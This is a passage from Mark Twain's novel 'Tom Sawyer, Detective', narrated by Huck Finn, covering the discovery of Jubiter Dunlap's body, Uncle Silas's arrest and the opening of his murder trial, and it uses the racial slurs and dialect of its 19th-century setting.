be around in the +daytime. But don't it look natural! Jake was going +to play deef and dumb here, so the neighbors wouldn't +know his voice. Do you reckon it would do that if we +was to holler at it?" + +"Lordy, Tom, don't talk so! If you was to holler +at it I'd die in my tracks." + +"Don't you worry, I ain't going to holler at it. +Look, Huck, it's a-scratching its head -- don't you see?" + +"Well, what of it?" + +"Why, this. What's the sense of it scratching its +head? There ain't anything there to itch; its head is +made out of fog or something like that, and can't itch. +A fog can't itch; any fool knows that." + +"Well, then, if it don't itch and can't itch, what in +the nation is it scratching it for? Ain't it just habit, +don't you reckon?" + +"No, sir, I don't. I ain't a bit satisfied about the +way this one acts. I've a blame good notion it's a +bogus one -- I have, as sure as I'm a-sitting here. +Because, if it -- Huck!" + +"Well, what's the matter now?" + +"YOU CAN'T SEE THE BUSHES THROUGH IT!" + +"Why, Tom, it's so, sure! It's as solid as a cow. +I sort of begin to think --" + +"Huck, it's biting off a chaw of tobacker! By +George, THEY don't chaw -- they hain't got anything to +chaw WITH. Huck!" + +"I'm a-listening." + +"It ain't a ghost at all. It's Jake Dunlap his own +self!" + +"Oh your granny!" I says. + +"Huck Finn, did we find any corpse in the syca- +mores?" + +"No." + +"Or any sign of one?" + +"No." + +"Mighty good reason. Hadn't ever been any corpse +there." + +"Why, Tom, you know we heard --" + +"Yes, we didJ-- heard a howl or two. Does that +prove anybody was killed? Course it don't. And we +seen four men run, then this one come walking out and +we took it for a ghost. No more ghost than you are. +It was Jake Dunlap his own self, and it's Jake Dunlap +now. He's been and got his hair cropped, the way he +said he would, and he's playing himself for a stranger, +just the same as he said he would. Ghost? Hum! -- +he's as sound as a nut." + +Then I see it all, and how we had took too much for +granted. I was powerful glad he didn't get killed, and +so was Tom, and we wondered which he would like the +best -- for us to never let on to know him, or how? +Tom reckoned the best way would be to go and ask +him. So he started; but I kept a little behind, because +I didn't know but it might be a ghost, after all. When +Tom got to where he was, he says: + +"Me and Huck's mighty glad to see you again, +and you needn't be afeared we'll tell. And if you +think it'll be safer for you if we don't let on to know +you when we run across you, say the word and you'll +see you can depend on us, and would ruther cut our +hands off than get you into the least little bit of +danger." + +First off he looked surprised to see us, and not very +glad, either; but as Tom went on he looked pleasanter, +and when he was done he smiled, and nodded his head +several times, and made signs with his hands, and says: + +"Goo-goo -- goo-goo," the way deef and dummies +does. + +Just then we see some of Steve Nickerson's people +coming that lived t'other side of the prairie, so Tom +says: + +"You do it elegant; I never see anybody do it +better. You're right; play it on us, too; play it on +us same as the others; it'll keep you in practice and +prevent you making blunders. We'll keep away from +you and let on we don't know you, but any time we +can be any help, you just let us know." + +Then we loafed along past the Nickersons, and of +course they asked if that was the new stranger yonder, +and where'd he come from, and what was his name, +and which communion was he, Babtis' or Methodis', +and which politics, Whig or Democrat, and how long +is he staying, and all them other questions that humans +always asks when a stranger comes, and animals does, +too. But Tom said he warn't able to make anything +out of deef and dumb signs, and the same with goo- +gooing. Then we watched them go and bullyrag Jake; +because we was pretty uneasy for him. Tom said it +would take him days to get so he wouldn't forget he +was a deef and dummy sometimes, and speak out be- +fore he thought. When we had watched long enough +to see that Jake was getting along all right and working +his signs very good, we loafed along again, allowing to +strike the schoolhouse about recess time, which was a +three-mile tramp. + +I was so disappointed not to hear Jake tell about the +row in the sycamores, and how near he come to get- +ting killed, that I couldn't seem to get over it, and +Tom he felt the same, but said if we was in Jake's fix +we would want to go careful and keep still and not take +any chances. + +The boys and girls was all glad to see us again, and +we had a real good time all through recess. Coming +to school the Henderson boys had come across the new +deef and dummy and told the rest; so all the scholars +was chuck full of him and couldn't talk about anything +else, and was in a sweat to get a sight of him because +they hadn't ever seen a deef and dummy in their lives, +and it made a powerful excitement. + +Tom said it was tough to have to keep mum now; +said we would be heroes if we could come out and tell +all we knowed; but after all, it was still more heroic to +keep mum, there warn't two boys in a million could do +it. That was Tom Sawyer's idea about it, and +reckoned there warn't anybody could better it. + + +CHAPTER IX. +FINDING OF JUBITER DUNLAP + +IN the next two or three days Dummy he got to be +powerful popular. He went associating around with +the neighbors, and they made much of him, and was +proud to have such a rattling curiosity among them. +They had him to breakfast, they had him to dinner, +they had him to supper; they kept him loaded up +with hog and hominy, and warn't ever tired staring at +him and wondering over him, and wishing they knowed +more about him, he was so uncommon and romantic. +His signs warn't no good; people couldn't under- +stand them and he prob'ly couldn't himself, but he +done a sight of goo-gooing, and so everybody was sat- +isfied, and admired to hear him go it. He toted a +piece of slate around, and a pencil; and people wrote +questions on it and he wrote answers; but there warn't +anybody could read his writing but Brace Dunlap. +Brace said he couldn't read it very good, but he could +manage to dig out the meaning most of the time. He +said Dummy said he belonged away off somers and +used to be well off, but got busted by swindlers which +he had trusted, and was poor now, and hadn't any way +to make a living. + +Everybody praised Brace Dunlap for being so good +to that stranger. He let him have a little log-cabin all +to himself, and had his niggers take care of it, and fetch +him all the vittles he wanted. + +Dummy was at our house some, because old Uncle +Silas was so afflicted himself, these days, that anybody +else that was afflicted was a comfort to him. Me and +Tom didn't let on that we had knowed him before, and +he didn't let on that he had knowed us before. The +family talked their troubles out before him the same as +if he wasn't there, but we reckoned it wasn't any harm +for him to hear what they said. Generly he didn't +seem to notice, but sometimes he did. + +Well, two or three days went along, and everybody +got to getting uneasy about Jubiter Dunlap. Every- +body was asking everybody if they had any idea what +had become of him. No, they hadn't, they said: and +they shook their heads and said there was something +powerful strange about it. Another and another day +went by; then there was a report got around that praps +he was murdered. You bet it made a big stir! Every- +body's tongue was clacking away after that. Saturday +two or three gangs turned out and hunted the woods to +see if they could run across his remainders. Me and +Tom helped, and it was noble good times and exciting. +Tom he was so brimful of it he couldn't eat nor rest. +He said if we could find that corpse we would be +celebrated, and more talked about than if we got +drownded. + +The others got tired and give it up; but not Tom +Sawyer -- that warn't his style. Saturday night he +didn't sleep any, hardly, trying to think up a plan; +and towards daylight in the morning he struck it. He +snaked me out of bed and was all excited, and says: + +"Quick, Huck, snatch on your clothes -- I've got +it! Bloodhound!" + +In two minutes we was tearing up the river road in +the dark towards the village. Old Jeff Hooker had a +bloodhound, and Tom was going to borrow him. I +says: + +"The trail's too old, Tom -- and besides, it's rained, +you know." + +"It don't make any difference, Huck. If the body's +hid in the woods anywhere around the hound will find +it. If he's been murdered and buried, they wouldn't +bury him deep, it ain't likely, and if the dog goes over +the spot he'll scent him, sure. Huck, we're going to +be celebrated, sure as you're born!" + +He was just a-blazing; and whenever he got afire he +was most likely to get afire all over. That was the way +this time. In two minutes he had got it all ciphered +out, and wasn't only just going to find the corpse -- +no, he was going to get on the track of that murderer +and hunt HIM down, too; and not only that, but he +was going to stick to him till -- + +"Well," I says, "you better find the corpse first; I +reckon that's a-plenty for to-day. For all we know, +there AIN'T any corpse and nobody hain't been mur- +dered. That cuss could 'a' gone off somers and not +been killed at all." + +That graveled him, and he says: + +"Huck Finn, I never see such a person as you to +want to spoil everything. As long as YOU can't see +anything hopeful in a thing, you won't let anybody +else. What good can it do you to throw cold water on +that corpse and get up that selfish theory that there +ain't been any murder? None in the world. I don't +see how you can act so. I wouldn't treat you like +that, and you know it. Here we've got a noble good +opportunity to make a ruputation, and --" + +"Oh, go ahead," I says. "I'm sorry, and I take it +all back. I didn't mean nothing. Fix it any way +you want it. HE ain't any consequence to me. If +he's killed, I'm as glad of it as you are; and if he --" + +"I never said anything about being glad; I only --" + +"Well, then, I'm as SORRY as you are. Any way +you druther have it, that is the way I druther have it. +He --" + +"There ain't any druthers ABOUT it, Huck Finn; no- +body said anything about druthers. And as for --" + +He forgot he was talking, and went tramping along, +studying. He begun to get excited again, and pretty +soon he says: + +"Huck, it'll be the bulliest thing that ever happened +if we find the body after everybody else has quit look- +ing, and then go ahead and hunt up the murderer. It +won't only be an honor to us, but it'll be an honor to +Uncle Silas because it was us that done it. It'll set +him up again, you see if it don't." + +But Old Jeff Hooker he throwed cold water on the +whole business when we got to his blacksmith shop and +told him what we come for. + +"You can take the dog," he says, "but you ain't +a-going to find any corpse, because there ain't any +corpse to find. Everybody's quit looking, and they're +right. Soon as they come to think, they knowed there +warn't no corpse. And I'll tell you for why. What +does a person kill another person for, Tom Sawyer? -- +answer me that." + +"Why, he -- er --" + +"Answer up! You ain't no fool. What does he kill +him FOR?" + +"Well, sometimes it's for revenge, and --" + +"Wait. One thing at a time. Revenge, says you; +and right you are. Now who ever had anything agin +that poor trifling no-account? Who do you reckon +would want to kill HIM? -- that rabbit!" + +Tom was stuck. I reckon he hadn't thought of a +person having to have a REASON for killing a person be- +fore, and now he sees it warn't likely anybody would +have that much of a grudge against a lamb like Jubiter +Dunlap. The blacksmith says, by and by: + +"The revenge idea won't work, you see. Well, +then, what's next? Robbery? B'gosh, that must 'a' +been it, Tom! Yes, sirree, I reckon we've struck it +this time. Some feller wanted his gallus-buckles, and +so he --" + +But it was so funny he busted out laughing, and just +went on laughing and laughing and laughing till he was +'most dead, and Tom looked so put out and cheap that +I knowed he was ashamed he had come, and he wished +he hadn't. But old Hooker never let up on him. He +raked up everything a person ever could want to kill +another person about, and any fool could see they +didn't any of them fit this case, and he just made no +end of fun of the whole business and of the people +that had been hunting the body; and he said: + +"If they'd had any sense they'd 'a' knowed the lazy +cuss slid out because he wanted a loafing spell after all +this work. He'll come pottering back in a couple of +weeks, and then how'll you fellers feel? But, laws +bless you, take the dog, and go and hunt his re- +mainders. Do, Tom." + +Then he busted out, and had another of them forty- +rod laughs of hisn. Tom couldn't back down after all +this, so he said, "All right, unchain him;" and the +blacksmith done it, and we started home and left that +old man laughing yet. + +It was a lovely dog. There ain't any dog that's got +a lovelier disposition than a bloodhound, and this one +knowed us and liked us. He capered and raced +around ever so friendly, and powerful glad to be free +and have a holiday; but Tom was so cut up he couldn't +take any intrust in him, and said he wished he'd stopped +and thought a minute before he ever started on such a +fool errand. He said old Jeff Hooker would tell every- +body, and we'd never hear the last of it. + +So we loafed along home down the back lanes, feel- +ing pretty glum and not talking. When we was pass- +ing the far corner of our tobacker field we heard the +dog set up a long howl in there, and we went to the +place and he was scratching the ground with all his +might, and every now and then canting up his head +sideways and fetching another howl. + +It was a long square, the shape of a grave; the rain +had made it sink down and show the shape. The +minute we come and stood there we looked at one +another and never said a word. When the dog had +dug down only a few inches he grabbed something and +pulled it up, and it was an arm and a sleeve. Tom +kind of gasped out, and says: + +"Come away, Huck -- it's found." + +I just felt awful. We struck for the road and +fetched the first men that come along. They got a +spade at the crib and dug out the body, and you never +see such an excitement. You couldn't make anything +out of the face, but you didn't need to. Everybody +said: + +"Poor Jubiter; it's his clothes, to the last rag!" + +Some rushed off to spread the news and tell the +justice of the peace and have an inquest, and me and +Tom lit out for the house. Tom was all afire and 'most +out of breath when we come tearing in where Uncle +Silas and Aunt Sally and Benny was. Tom sung +out: + +"Me and Huck's found Jubiter Dunlap's corpse all +by ourselves with a bloodhound, after everybody else +had quit hunting and given it up; and if it hadn't a +been for us it never WOULD 'a' been found; and he WAS +murdered too -- they done it with a club or something +like that; and I'm going to start in and find the mur- +derer, next, and I bet I'll do it!" + +Aunt Sally and Benny sprung up pale and astonished, +but Uncle Silas fell right forward out of his chair on to +the floor and groans out: + +"Oh, my God, you've found him NOW!" + + +CHAPTER X. +THE ARREST OF UNCLE SILAS + +THEM awful words froze us solid. We couldn't +move hand or foot for as much as half a minute. +Then we kind of come to, and lifted the old man up +and got him into his chair, and Benny petted him and +kissed him and tried to comfort him, and poor old +Aunt Sally she done the same; but, poor things, they +was so broke up and scared and knocked out of their +right minds that they didn't hardly know what they was +about. With Tom it was awful; it 'most petrified him +to think maybe he had got his uncle into a thousand +times more trouble than ever, and maybe it wouldn't +ever happened if he hadn't been so ambitious to get +celebrated, and let the corpse alone the way the others +done. But pretty soon he sort of come to himself +again and says: + +"Uncle Silas, don't you say another word like that. +It's dangerous, and there ain't a shadder of truth in it." + +Aunt Sally and Benny was thankful to hear him say +that, and they said the same; but the old man he +wagged his head sorrowful and hopeless, and the tears +run down his face, and he says; + +"No -- I done it; poor Jubiter, I done it!" + +It was dreadful to hear him say it. Then he went +on and told about it, and said it happened the day +me and Tom come -- along about sundown. He said +Jubiter pestered him and aggravated him till he was so +mad he just sort of lost his mind and grabbed up a stick +and hit him over the head with all his might, and +Jubiter dropped in his tracks. Then he was scared and +sorry, and got down on his knees and lifted his head +up, and begged him to speak and say he wasn't dead; +and before long he come to, and when he see who it +was holding his head, he jumped like he was 'most +scared to death, and cleared the fence and tore into the +woods, and was gone. So he hoped he wasn't hurt +bad. + +"But laws," he says, "it was only just fear that +gave him that last little spurt of strength, and of course +it soon played out and he laid down in the bush, and +there wasn't anybody to help him, and he died." + +Then the old man cried and grieved, and said he was +a murderer and the mark of Cain was on him, and he +had disgraced his family and was going to be found +out and hung. But Tom said: + +"No, you ain't going to be found out. You DIDN'T +kill him. ONE lick wouldn't kill him. Somebody else +done it." + +"Oh, yes," he says, "I done it -- nobody else. +Who else had anything against him? Who else COULD +have anything against him?" + +He looked up kind of like he hoped some of us could +mention somebody that could have a grudge against +that harmless no-account, but of course it warn't no +use -- he HAD us; we couldn't say a word. He +noticed that, and he saddened down again, and I never +see a face so miserable and so pitiful to see. Tom +had a sudden idea, and says: + +"But hold on! -- somebody BURIED him. Now +who --" + +He shut off sudden. I knowed the reason. It give +me the cold shudders when he said them words, because +right away I remembered about us seeing Uncle Silas +prowling around with a long-handled shovel away in +the night that night. And I knowed Benny seen him, +too, because she was talking about it one day. The +minute Tom shut off he changed the subject and went +to begging Uncle Silas to keep mum, and the rest of us +done the same, and said he MUST, and said it wasn't his +business to tell on himself, and if he kept mum nobody +would ever know; but if it was found out and any +harm come to him it would break the family's hearts +and kill them, and yet never do anybody any good. +So at last he promised. We was all of us more com- +fortable, then, and went to work to cheer up the old +man. We told him all he'd got to do was to keep still, +and it wouldn't be long till the whole thing would blow +over and be forgot. We all said there wouldn't any- +body ever suspect Uncle Silas, nor ever dream of such +a thing, he being so good and kind, and having such a +good character; and Tom says, cordial and hearty, he +says: + +"Why, just look at it a minute; just consider. +Here is Uncle Silas, all these years a preacher -- at his +own expense; all these years doing good with all his +might and every way he can think of -- at his own ex- +pense, all the time; always been loved by everybody, +and respected; always been peaceable and minding his +own business, the very last man in this whole deestrict +to touch a person, and everybody knows it. Suspect +HIM? Why, it ain't any more possible than --" + +"By authority of the State of Arkansaw, I arrest +you for the murder of Jubiter Dunlap!" shouts the +sheriff at the door. + +It was awful. Aunt Sally and Benny flung themselves +at Uncle Silas, screaming and crying, and hugged him +and hung to him, and Aunt Sally said go away, she +wouldn't ever give him up, they shouldn't have him, +and the niggers they come crowding and crying to the +door and -- well, I couldn't stand it; it was enough to +break a person's heart; so I got out. + +They took him up to the little one-horse jail in the +village, and we all went along to tell him good-bye; +and Tom was feeling elegant, and says to me, "We'll +have a most noble good time and heaps of danger some +dark night getting him out of there, Huck, and it'll be +talked about everywheres and we will be celebrated;" +but the old man busted that scheme up the minute he +whispered to him about it. He said no, it was his duty +to stand whatever the law done to him, and he would +stick to the jail plumb through to the end, even if +there warn't no door to it. It disappointed Tom +and graveled him a good deal, but he had to put up +with it. + +But he felt responsible and bound to get his uncle +Silas free; and he told Aunt Sally, the last thing, not +to worry, because he was going to turn in and work +night and day and beat this game and fetch Uncle Silas +out innocent; and she was very loving to him and +thanked him and said she knowed he would do his very +best. And she told us to help Benny take care of the +house and the children, and then we had a good-bye +cry all around and went back to the farm, and left her +there to live with the jailer's wife a month till the trial +in October. + + +CHAPTER XI. +TOM SAWYER DISCOVERS THE MURDERERS + +WELL, that was a hard month on us all. Poor +Benny, she kept up the best she could, and me +and Tom tried to keep things cheerful there at the +house, but it kind of went for nothing, as you may say. +It was the same up at the jail. We went up every day +to see the old people, but it was awful dreary, because +the old man warn't sleeping much, and was walking in +his sleep considerable and so he got to looking fagged +and miserable, and his mind got shaky, and we all got +afraid his troubles would break him down and kill him. +And whenever we tried to persuade him to feel cheer- +fuler, he only shook his head and said if we only +knowed what it was to carry around a murderer's load +in your heart we wouldn't talk that way. Tom and all +of us kept telling him it WASN'T murder, but just acci- +dental killing! but it never made any difference -- it was +murder, and he wouldn't have it any other way. He +actu'ly begun to come out plain and square towards +trial time and acknowledge that he TRIED to kill the man. +Why, that was awful, you know. It made things seem +fifty times as dreadful, and there warn't no more com- +fort for Aunt Sally and Benny. But he promised he +wouldn't say a word about his murder when others +was around, and we was glad of that. + +Tom Sawyer racked the head off of himself all that +month trying to plan some way out for Uncle Silas, and +many's the night he kept me up 'most all night with +this kind of tiresome work, but he couldn't seem to get +on the right track no way. As for me, I reckoned a +body might as well give it up, it all looked so blue and +I was so downhearted; but he wouldn't. He stuck to +the business right along, and went on planning and +thinking and ransacking his head. + +So at last the trial come on, towards the middle of +October, and we was all in the court. The place was +jammed, of course. Poor old Uncle Silas, he looked +more like a dead person than a live one, his eyes was so +hollow and he looked so thin and so mournful. Benny +she set on one side of him and Aunt Sally on the other, +and they had veils on, and was full of trouble. But +Tom he set by our lawyer, and had his finger in every- +wheres, of course. The lawyer let him, and the judge +let him. He 'most took the business out of the law- +yer's hands sometimes; which was well enough, be- +cause that was only a mud-turtle of a back-settlement +lawyer and didn't know enough to come in when it +rains, as the saying is. + +They swore in the jury, and then the lawyer for the +prostitution got up and begun. He made a terrible +speech against the old man, that made him moan and +groan, and made Benny and Aunt Sally cry. The way +HE told about the murder kind of knocked us all stupid +it was so different from the old man's tale. He said +he was going to prove that Uncle Silas was SEEN to +kill Jubiter Dunlap by two good witnesses, and done it +deliberate, and SAID he was going to kill him the very +minute he hit him with the club; and they seen him hide +Jubiter in the bushes, and they seen that Jubiter was +stone-dead. And said Uncle Silas come later and +lugged Jubiter down into the tobacker field, and two +men seen him do it. And said Uncle Silas turned out, +away in the night, and buried Jubiter, and a man seen +him at it. + +I says to myself, poor old Uncle Silas has been lying +about it because he reckoned nobody seen him and he +couldn't bear to break Aunt Sally's heart and Benny's; +and right he was: as for me, I would 'a' lied the +same way, and so would anybody that had any feeling, +to save them such misery and sorrow which THEY warn't +no ways responsible for. Well, it made our lawyer +look pretty sick; and it knocked Tom silly, too, for a +little spell, but then he braced up and let on that he +warn't worried -- but I knowed he WAS, all the same. +And the people -- my, but it made a stir amongst +them! + +And when that lawyer was done telling the jury what +he was going to prove, he set down and begun to work +his witnesses. + +First, he called a lot of them to show that there was +bad blood betwixt Uncle Silas and the diseased; and +they told how they had heard Uncle Silas threaten the +diseased, at one time and another, and how it got +worse and worse and everybody was talking about it, +and how diseased got afraid of his life, and told two or +three of them he was certain Uncle Silas would up and +kill him some time or another. + +Tom and our lawyer asked them some questions; +but it warn't no use, they stuck to what they said. + +Next, they called up Lem Beebe, and he took the +stand. It come into my mind, then, how Lem and Jim +Lane had come along talking, that time, about borrow- +ing a dog or something from Jubiter Dunlap; and that +brought up the blackberries and the lantern; and that +brought up Bill and Jack Withers, and how they passed +by, talking about a nigger stealing Uncle Silas's corn; +and that fetched up our old ghost that come along +about the same time and scared us so -- and here HE +was too, and a privileged character, on accounts of his +being deef and dumb and a stranger, and they had fixed +him a chair inside the railing, where he could cross his +legs and be comfortable, whilst the other people was all +in a jam so they couldn't hardly breathe. So it all +come back to me just the way it was that day; and it +made me mournful to think how pleasant it was up to +then, and how miserable ever since. + + LEM BEEBE, sworn, said -- "I was a-coming along, + that day, second of September, and Jim Lane was with + me, and it was towards sundown, and we heard loud + talk, like quarrelling, and we was very close, only + the hazel bushes between (that's along the fence); + and we heard a voice say, 'I've told you more'n once + I'd kill you,' and knowed it was this prisoner's + voice; and then we see a club come up above the + bushes and down out of sight again. and heard a + smashing thump and then a groan or two: and then we + crope soft to where we could see, and there laid + Jupiter Dunlap dead, and this prisoner standing over + him with the club; and the next he hauled the dead + man into a clump of bushes and hid him, and then we + stooped low, to be cut of sight, and got away." + +Well, it was awful. It kind of froze everybody's +blood to hear it, and the house was 'most as still whilst +he was telling it as if there warn't nobody in it. And +when he was done, you could hear them gasp and sigh, +all over the house, and look at one another the same +as to say, "Ain't it perfectly terrible -- ain't it awful!" + +Now happened a thing that astonished me. All the +time the first witnesses was proving the bad blood and +the threats and all that, Tom Sawyer was alive and lay- +ing for them; and the minute they was through, he +went for them, and done his level best to catch them in +lies and spile their testimony. But now, how different. +When Lem first begun to talk, and never said anything +about speaking to Jubiter or trying to borrow a dog +off of him, he was all alive and laying for Lem, and you +could see he was getting ready to cross-question him to +death pretty soon, and then I judged him and me would +go on the stand by and by and tell what we heard him +and Jim Lane say. But the next time I looked at Tom +I got the cold shivers. Why, he was in the brownest +study you ever see -- miles and miles away. He warn't +hearing a word Lem Beebe was saying; and when he +got through he was still in that brown-study, just the +same. Our lawyer joggled him, and then he looked up +startled, and says, "Take the witness if you want him. +Lemme alone -- I want to think." + +Well, that beat me. I couldn't understand it. And +Benny and her mother -- oh, they looked sick, they +was so troubled. They shoved their veils to one side +and tried to get his eye, but it warn't any use, and I +couldn't get his eye either. So the mud-turtle he +tackled the witness, but it didn't amount to nothing; +and he made a mess of it. + +Then they called up Jim Lane, and he told the very +same story over again, exact. Tom never listened to +this one at all, but set there thinking and thinking, miles +and miles away. So the mud-turtle went in alone +again and come out just as flat as he done before. The +lawyer for the prostitution looked very comfortable, +but the judge looked disgusted. You see, Tom was +just the same as a regular lawyer, nearly, because it +was Arkansaw law for a prisoner to choose anybody he +wanted to help his lawyer, and Tom had had Uncle +Silas shove him into the case, and now he was botching +it and you could see the judge didn't like it much. +All that the mud-turtle got out of Lem and Jim was +this: he asked them: + +"Why didn't you go and tell what you saw?" + +"We was afraid we would get mixed up in it our- +selves. And we was just starting down the river +a-hunting for all the week besides; but as soon as we +come back we found out they'd been searching for the +body, so then we went and told Brace Dunlap all +about it." + +"When was that?" + +"Saturday night, September 9th." + +The judge he spoke up and says: + +"Mr. Sheriff, arrest these two witnesses on suspicions +of being accessionary after the fact to the murder." + +The lawyer for the prostitution jumps up all excited, +and says: + +"Your honor! I protest against this extraordi --" + +"Set down!" says the judge, pulling his bowie and +laying it on his pulpit. "I beg you to respect the +Court." + +So he done it. Then he called Bill Withers. + + BILL WITHERS, sworn, said: "I was coming along + about sundown, Saturday, September 2d, by the + prisoner's field, and my brother Jack was with me + and we seen a man toting off something heavy on + his back and allowed it was a nigger stealing + corn; we couldn't see distinct; next we made out + that it was one man carrying another; and the way + it hung, so kind of limp, we judged it was + somebody that was drunk; and by the man's walk we + said it was Parson Silas, and we judged he had + found Sam Cooper drunk in the road, which he was + always trying to reform him, and was toting him + out of danger." + +It made the people shiver to think of poor old Uncle +Silas toting off the diseased down to the place in his +tobacker field where the dog dug up the body, but +there warn't much sympathy around amongst the faces, +and I heard one cuss say "'Tis the coldest blooded +work I ever struck, lugging a murdered man around +like that, and going to bury him like a animal, and him +a preacher at that." + +Tom he went on thinking, and never took no notice; +so our lawyer took the witness and done the best he +could, and it was plenty poor enough. + +Then Jack Withers he come on the stand and told the +same tale, just like Bill done. + +And after him comes Brace Dunlap, and he was look- +ing very mournful, and most crying; and there was a +rustle and a stir all around, and everybody got ready to +listen, and lost of the women folks said, "Poor cretur, +poor cretur," and you could see a many of them wip- +ing their eyes. + + BRACE DUNLAP, sworn, said: "I was in considerable + trouble a long time about my poor brother, but I + reckoned things warn't near so bad as he made out, + and I couldn't make myself believe anybody would + have the heart to hurt a poor harmless cretur like + that" -- [by jings, I was sure I seen Tom give a + kind of a faint little start, and then look + disappointed again] -- "and you know I COULDN'T + think a preacher would hurt him -- it warn't natural + to think such an onlikely thing -- so I never paid + much attention, and now I sha'n't ever, ever + forgive myself; for if I had a done different, my + poor brother would be with me this day, and not + laying yonder murdered, and him so harmless." He + kind of broke down there and choked up, and waited + to get his voice; and people all around said the + most pitiful things, and women cried; and it was + very still in there, and solemn, and old Uncle Silas, + poor thing, he give a groan right out so everybody + heard him. Then Brace he went on, "Saturday, + September 2d, he didn't come home to supper. + By-and-by I got a little uneasy, and one of my + niggers went over to this prisoner's place, but come + back and said he warn't there. So I got uneasier + and uneasier, and couldn't rest. I went to bed, but + I couldn't sleep; and turned out, away late in the + night, and went wandering over to this prisoner's + place and all around about there a good while, hoping + I would run across my poor brother, and never + knowing he was out of his troubles and gone to a + better shore --" So he broke down and choked up again, + and most all the women was crying now. Pretty soon + he got another start and says: "But it warn't no use; + so at last I went home and tried to get some sleep, + but couldn't. Well, in a day or two everybody was + uneasy, and they got to talking about this prisoner's + threats, and took to the idea, which I didn't take + no stock in, that my brother was murdered so they + hunted around and tried to find his body, but + couldn't and give it up. And so I reckoned he was + gone off somers to have a little peace, and would + come back to us when his troubles was kind of healed. + But late Saturday night, the 9th, Lem Beebe and + Jim Lane come to my house and told me all -- told me + the whole awful 'sassination, and my heart was + broke. And THEN I remembered something that hadn't + took no hold of me at the time, because reports said + this prisoner had took to walking in his sleep and + doing all kind of things of no consequence, not + knowing what he was about. I will tell you what that + thing was that come back into my memory. Away late + that awful Saturday night when I was wandering + around about this prisoner's place, grieving and + troubled, I was down by the corner of the tobacker- + field and I heard a sound like digging in a gritty + soil; and I crope nearer and peeped through the + vines that hung on the rail fence and seen this + prisoner SHOVELING -- shoveling with a long-handled + shovel -- heaving earth into a big hole that was + most filled up; his back was to me, but it was + bright moonlight and I knowed him by his old green + baize work-gown with a splattery white patch in + the middle of the back like somebody had hit him + with a snowball. HE WAS BURYING THE MAN HE'D MURDERED!" + +And he slumped down in his chair crying and sob- +bing, and 'most everybody in the house busted out +wailing, and crying, and saying, "Oh, it's awful -- +awful -- horrible! and there was a most tremendous ex- +citement, and you couldn't hear yourself think; and +right in the midst of it up jumps old Uncle Silas, white +as a sheet, and sings out: + +"IT'S TRUE, EVERY WORD -- I MURDERED HIM IN COLD +BLOOD!" + +By Jackson, it petrified them! People rose up wild +all over the house, straining and staring for a better look +at him, and the judge was hammering with his mallet +and the sheriff yelling "Order -- order in the court -- +order!" + +And all the while the old man stood there a-quaking +and his eyes a-burning, and not looking at his wife and +daughter, which was clinging to him and begging him +to keep still, but pawing them off with his hands and +saying he WOULD clear his black soul from crime, he +WOULD heave off this load that was more than he could +bear, and he WOULDN'T bear it another hour! And +then he raged right along with his awful tale, every- +body a-staring and gasping, judge, jury, lawyers, and +everybody, and Benny and Aunt Sally crying their +hearts out. And by George, Tom Sawyer never +looked at him once! Never once -- just set there +gazing with all his eyes at something else, I couldn't +tell what. And so the old man raged right along, +pouring his words out like a stream of fire: + +"I killed him! I am guilty! But I never had the +notion in my life to hurt him or harm him, spite of all +them lies about my threatening him, till the very +minute I raised the club -- then my heart went cold! -- +then the pity all went out of it, and I struck to kill! In +that one moment all my wrongs come into my mind; +all the insults that that man and the scoundrel his +brother, there, had put upon me, and how they laid in +together to ruin me with the people, and take away +my good name, and DRIVE me to some deed that would +destroy me and my family that hadn't ever done THEM +no harm, so help me God! And they done it in a mean +revenge -- for why? Because my innocent pure girl +here at my side wouldn't marry that rich, insolent, +ignorant coward, Brace Dunlap, who's been sniveling +here over a brother he never cared a brass farthing +for -- "[I see Tom give a jump and look glad THIS time, +to a dead certainty]" -- and in that moment I've told +you about, I forgot my God and remembered only my +heart's bitterness, God forgive me, and I struck to kill. +In one second I was miserably sorry -- oh, filled with +remorse; but I thought of my poor family, and I MUST +hide what I'd done for their sakes; and I did hide that +corpse in the bushes; and presently I carried it to the +tobacker field; and in the deep night I went with my +shovel and buried it where --" + +Up jumps Tom and shouts: + +"NOW, I've got it!" and waves his hand, oh, ever +so fine and starchy, towards the old man, and says: + +"Set down! A murder WAS done, but you never +had no hand in it!" + +Well, sir, you could a heard a pin drop. And the +old man he sunk down kind of bewildered in his seat +and Aunt Sally and Benny didn't know it, because they +was so astonished and staring at Tom with their +mouths open and not knowing what they was about. +And the whole house the same. I never seen people +look so helpless and tangled up, and I hain't ever seen +eyes bug out and gaze without a blink the way theirn +did. Tom says, perfectly ca'm: + +"Your honor, may I speak?" + +"For God's sake, yes -- go on!" says the judge, so +astonished and mixed up he didn't know what he was +about hardly. + +Then Tom he stood there and waited a second or two +-- that was for to work up an "effect," as he calls it +-- then he started in just as ca'm as ever, and says: + +"For about two weeks now there's been a little bill +sticking on the front of this courthouse offering two +thousand dollars reward for a couple of big di'monds +-- stole at St. Louis. Them di'monds is worth twelve +thousand dollars. But never mind about that till I get +to it. Now about this murder. I will tell you all +about it -- how it happened -- who done it -- every +DEtail." + +You could see everybody nestle now, and begin to +listen for all they was worth. + +"This man here, Brace Dunlap, that's been sniveling +so about his dead brother that YOU know he never +cared a straw for, wanted to marry that young girl +there, and she wouldn't have him. So he told Uncle +Silas he would make him sorry. Uncle Silas knowed +how powerful he was, and how little chance he had +against such a man, and he was scared and worried, and +done everything he could think of to smooth him over +and get him to be good to him: he even took his no- +account brother Jubiter on the farm and give him wages +and stinted his own family to pay them; and Jubiter +done everything his brother could contrive to insult +Uncle Silas, and fret and worry him, and try to drive +Uncle Silas into doing him a hurt, so as to injure Uncle +Silas with the people. And it done it. Everybody +turned against him and said the meanest kind of things +about him, and it graduly broke his heart -- yes, and +he was so worried and distressed that often he warn't +hardly in his right mind. + +"Well, on that Saturday that we've had so much +trouble about, two of these witnesses here, Lem Beebe +and Jim Lane, come along by where Uncle Silas and +Jubiter Dunlap was at work -- and that much of what +they've said is true, the rest is lies. They didn't hear +Uncle Silas say he would kill Jubiter; they didn't hear +no blow struck; they didn't see no dead man, and they +didn't see Uncle Silas hide anything in the bushes. +Look at them now -- how they set there, wishing they +hadn't been so handy with their tongues; anyway, +they'll wish it before I get done. + +"That same Saturday evening Bill and Jack Withers +DID see one man lugging off another one. That much +of what they said is true, and the rest is lies. First off +they thought it was a nigger stealing Uncle Silas's corn +-- you notice it makes them look silly, now, to find out +somebody overheard them say that. That's because +they found out by and by who it was that was doing +the lugging, and THEY know best why they swore here +that they took it for Uncle Silas by the gait -- which it +WASN'T, and they knowed it when they swore to that 